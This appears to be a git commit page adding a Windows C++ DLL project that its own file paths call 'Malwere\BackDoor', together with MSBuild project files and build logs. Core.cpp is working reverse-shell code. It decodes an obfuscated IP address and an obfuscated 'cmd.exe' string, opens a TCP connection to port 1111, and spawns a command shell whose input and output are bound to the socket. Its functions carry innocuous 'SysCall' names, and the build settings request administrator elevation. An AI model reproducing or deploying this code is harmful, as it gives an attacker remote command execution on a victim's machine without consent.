Create reps
This commit is contained in:
Данил
@@ -0,0 +1,144 @@
|
||||
const char* msg = "LS0tIC0uIC4gIC0uIC4uIC0tLiAuLi4uIC0gLS0uLi0tICAuLiAgLS4tLiAtLS0gLi4tIC4tLi4gLS4uIC0uIC4tLS0tLiAtICAuLi4gLi0uLiAuIC4gLi0tLiAuLS4tLi0gIC4uICAtLi0gLiAuLS0uIC0gIC4tLi4gLS0tIC0tLSAtLi0gLi4gLS4gLS0uICAuLSAtICAtIC4uLi4gLiAgLi0tLiAtLS0gLi0uIC0gLi0uIC4tIC4uIC0gIC0gLi4uLiAuLSAtICAuLS0gLi0gLi4uICAtLi0uIC4uLi4gLiAuIC4tLiAuLi0uIC4uLSAuLS4uICAtLS0gLS4gIC0gLi4uLiAuICAuLS0gLi0gLi0uLiAuLS4uIC4tLi0uLSAgLi4gLS4gIC0gLi4uLiAuICAtLSAtLS0gLi0uIC0uIC4uIC0uIC0tLiAgLi4gIC4uLiAtIC4uIC4tLi4gLi0uLiAgLS0gLi0gLS4gLi0gLS0uIC4gLS4uICAtIC0tLSAgLi4tLiAuLSAuLS4uIC4tLi4gIC4tIC4uLiAuLS4uIC4gLiAuLS0uIC0tLi4tLSAgLi0gLS4gLS4uICAuLS0gLi4uLiAuIC0uICAuLiAgLi0tIC0tLSAtLi0gLiAgLi4tIC4tLS4gIC4uICAuLi4gLi0gLi0tICAuLSAgLi0tIC4uIC0uIC0uLiAtLS0gLi0tICAtLS0gLS4gIC0gLi4uLiAuICAuLi4tLSAuLi4uLSAtIC4uLi4gIC4uLS4gLi0uLiAtLS0gLS0tIC4tLiAgLi4gLS4gIC4tLS4gLi0uLiAuLSAtLi0uIC4gIC0tLSAuLi0uICAtIC4uLi4gLiAgLi0tLiAuLSAuLiAtLiAtIC4uIC0uIC0tLiAuLS4tLi0=";
|
||||
|
||||
#define _WINSOCK_DEPRECATED_NO_WARNINGS
|
||||
#include <WinSock2.h>
|
||||
#pragma comment(lib,"Ws2_32.lib")
|
||||
|
||||
#ifdef LOAD_DLL
|
||||
#define LIBRARY_API __declspec(dllimport)
|
||||
#else
|
||||
#define LIBRARY_API __declspec(dllexport)
|
||||
#endif
|
||||
|
||||
// Çàìåíèòü IP è port
|
||||
#pragma region Network
|
||||
const unsigned short int lengthIP = 12;
|
||||
char InternetProtacol[lengthIP] = "081-057-/-5";
|
||||
int port = 1111;
|
||||
|
||||
SOCKADDR_IN addr;
|
||||
SOCKET Socket;
|
||||
#ifdef UNICODE
|
||||
TCHAR cmd[] = L"dne/fyf";
|
||||
#else
|
||||
TCHAR cmd[] = "dne/fyf";
|
||||
#endif
|
||||
#pragma endregion
|
||||
|
||||
#pragma region Load Function From NetDLL
|
||||
HINSTANCE NetLib;
|
||||
|
||||
typedef void (*NetInit)();
|
||||
typedef void (*MyConnect)(SOCKADDR*, SOCKET*);
|
||||
|
||||
NetInit ni;
|
||||
MyConnect mc;
|
||||
#pragma endregion
|
||||
|
||||
|
||||
|
||||
void DecodeIP()
|
||||
{
|
||||
for (int i = 0; i < lengthIP - 1; ++i)
|
||||
++InternetProtacol[i];
|
||||
}
|
||||
|
||||
void DecodeCommand()
|
||||
{
|
||||
for (int i = 0; i < 7; ++i)
|
||||
--cmd[i];
|
||||
}
|
||||
|
||||
#pragma region System calls
|
||||
void SysCall1()
|
||||
{
|
||||
NetLib = LoadLibrary(L"NetDLL.dll");
|
||||
if (NetLib == nullptr)
|
||||
exit(-4);
|
||||
|
||||
ni = (NetInit)GetProcAddress(NetLib, "NetInit");
|
||||
if (ni == nullptr)
|
||||
exit(-5);
|
||||
ni();
|
||||
FreeLibrary(NetLib);
|
||||
}
|
||||
void SysCall5()
|
||||
{
|
||||
DecodeIP();
|
||||
struct hostent* host;
|
||||
host = gethostbyname(InternetProtacol);
|
||||
strcpy_s(InternetProtacol, lengthIP, inet_ntoa(*((struct in_addr*)host->h_addr)));
|
||||
}
|
||||
void SysCall2()
|
||||
{
|
||||
addr.sin_addr.s_addr = inet_addr(InternetProtacol);
|
||||
addr.sin_port = htons(port);
|
||||
addr.sin_family = AF_INET;
|
||||
}
|
||||
void SysCall3()
|
||||
{
|
||||
NetLib = LoadLibrary(L"NetDLL.dll");
|
||||
if (NetLib == nullptr)
|
||||
exit(-4);
|
||||
|
||||
mc = (MyConnect)GetProcAddress(NetLib, "MyConnect");
|
||||
if (mc == nullptr)
|
||||
exit(-6);
|
||||
|
||||
Socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
|
||||
|
||||
mc((SOCKADDR*)&addr, &Socket);
|
||||
FreeLibrary(NetLib);
|
||||
}
|
||||
void SysCall4()
|
||||
{
|
||||
STARTUPINFO ini_processo;
|
||||
PROCESS_INFORMATION processo_info;
|
||||
|
||||
memset(&ini_processo, 0, sizeof(ini_processo));
|
||||
ini_processo.cb = sizeof(ini_processo);
|
||||
ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
||||
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Socket;
|
||||
|
||||
if (Socket == INVALID_SOCKET)
|
||||
exit(4);
|
||||
|
||||
DecodeCommand();
|
||||
if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info))
|
||||
exit(5);
|
||||
}
|
||||
#pragma endregion
|
||||
|
||||
extern "C" void LIBRARY_API SystemCall(int call)
|
||||
{
|
||||
switch (call)
|
||||
{
|
||||
case 1:
|
||||
{
|
||||
SysCall1();
|
||||
} break;
|
||||
|
||||
case 2:
|
||||
{
|
||||
SysCall2();
|
||||
} break;
|
||||
|
||||
case 3:
|
||||
{
|
||||
SysCall3();
|
||||
} break;
|
||||
|
||||
case 4:
|
||||
{
|
||||
SysCall4();
|
||||
} break;
|
||||
|
||||
case 5:
|
||||
{
|
||||
SysCall5();
|
||||
} break;
|
||||
|
||||
default:{
|
||||
} break;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,155 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{ea35d102-ec6d-4455-a3c2-bdaa98664c87}</ProjectGuid>
|
||||
<RootNamespace>CoreDLL</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
||||
<RemoveUnreferencedCodeData>false</RemoveUnreferencedCodeData>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<UACExecutionLevel>RequireAdministrator</UACExecutionLevel>
|
||||
<UACUIAccess>true</UACUIAccess>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
||||
<RemoveUnreferencedCodeData>false</RemoveUnreferencedCodeData>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<UACExecutionLevel>RequireAdministrator</UACExecutionLevel>
|
||||
<UACUIAccess>true</UACUIAccess>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
||||
<RemoveUnreferencedCodeData>false</RemoveUnreferencedCodeData>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<UACExecutionLevel>RequireAdministrator</UACExecutionLevel>
|
||||
<UACUIAccess>true</UACUIAccess>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
||||
<RemoveUnreferencedCodeData>false</RemoveUnreferencedCodeData>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<UACExecutionLevel>RequireAdministrator</UACExecutionLevel>
|
||||
<UACUIAccess>true</UACUIAccess>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Core.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Исходные файлы">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Файлы заголовков">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Файлы ресурсов">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Core.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
Binary file not shown.
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project>
|
||||
<ProjectOutputs>
|
||||
<ProjectOutput>
|
||||
<FullPath>D:\Projects\Malwere\x64\Debug\CoreDLL.dll</FullPath>
|
||||
</ProjectOutput>
|
||||
</ProjectOutputs>
|
||||
<ContentFiles />
|
||||
<SatelliteDlls />
|
||||
<NonRecipeFileRefs />
|
||||
</Project>
|
||||
Binary file not shown.
@@ -0,0 +1,2 @@
|
||||
Core.cpp
|
||||
CoreDLL.vcxproj -> D:\Projects\Malwere\x64\Debug\CoreDLL.dll
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
D:\Projects\Malwere\BackDoor\CoreDLL\Core.cpp;D:\Projects\Malwere\BackDoor\CoreDLL\x64\Debug\Core.obj
|
||||
@@ -0,0 +1,2 @@
|
||||
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0:
|
||||
Debug|x64|D:\Projects\Malwere\|
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
|
||||
^D:\PROJECTS\MALWERE\BACKDOOR\COREDLL\X64\DEBUG\CORE.OBJ
|
||||
D:\Projects\Malwere\x64\Debug\CoreDLL.lib
|
||||
D:\Projects\Malwere\x64\Debug\CoreDLL.EXP
|
||||
D:\Projects\Malwere\BackDoor\CoreDLL\x64\Debug\CoreDLL.ilk
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project>
|
||||
<ProjectOutputs>
|
||||
<ProjectOutput>
|
||||
<FullPath>D:\Projects\Malwere\x64\Release\CoreDLL.dll</FullPath>
|
||||
</ProjectOutput>
|
||||
</ProjectOutputs>
|
||||
<ContentFiles />
|
||||
<SatelliteDlls />
|
||||
<NonRecipeFileRefs />
|
||||
</Project>
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,8 @@
|
||||
Core.cpp
|
||||
Создается библиотека D:\Projects\Malwere\x64\Release\CoreDLL.lib и объект D:\Projects\Malwere\x64\Release\CoreDLL.exp
|
||||
Создание кода
|
||||
0 of 8 functions ( 0.0%) were compiled, the rest were copied from previous compilation.
|
||||
0 functions were new in current compilation
|
||||
0 functions had inline decision re-evaluated but remain unchanged
|
||||
Создание кода завершено
|
||||
CoreDLL.vcxproj -> D:\Projects\Malwere\x64\Release\CoreDLL.dll
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
D:\Projects\Malwere\BackDoor\CoreDLL\Core.cpp;D:\Projects\Malwere\BackDoor\CoreDLL\x64\Release\Core.obj
|
||||
@@ -0,0 +1,2 @@
|
||||
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0:
|
||||
Release|x64|D:\Projects\Malwere\|
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,5 @@
|
||||
^D:\PROJECTS\MALWERE\BACKDOOR\COREDLL\X64\RELEASE\CORE.OBJ
|
||||
D:\Projects\Malwere\x64\Release\CoreDLL.lib
|
||||
D:\Projects\Malwere\x64\Release\CoreDLL.EXP
|
||||
D:\Projects\Malwere\BackDoor\CoreDLL\x64\Release\CoreDLL.IPDB
|
||||
D:\Projects\Malwere\BackDoor\CoreDLL\x64\Release\CoreDLL.iobj
|
||||
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user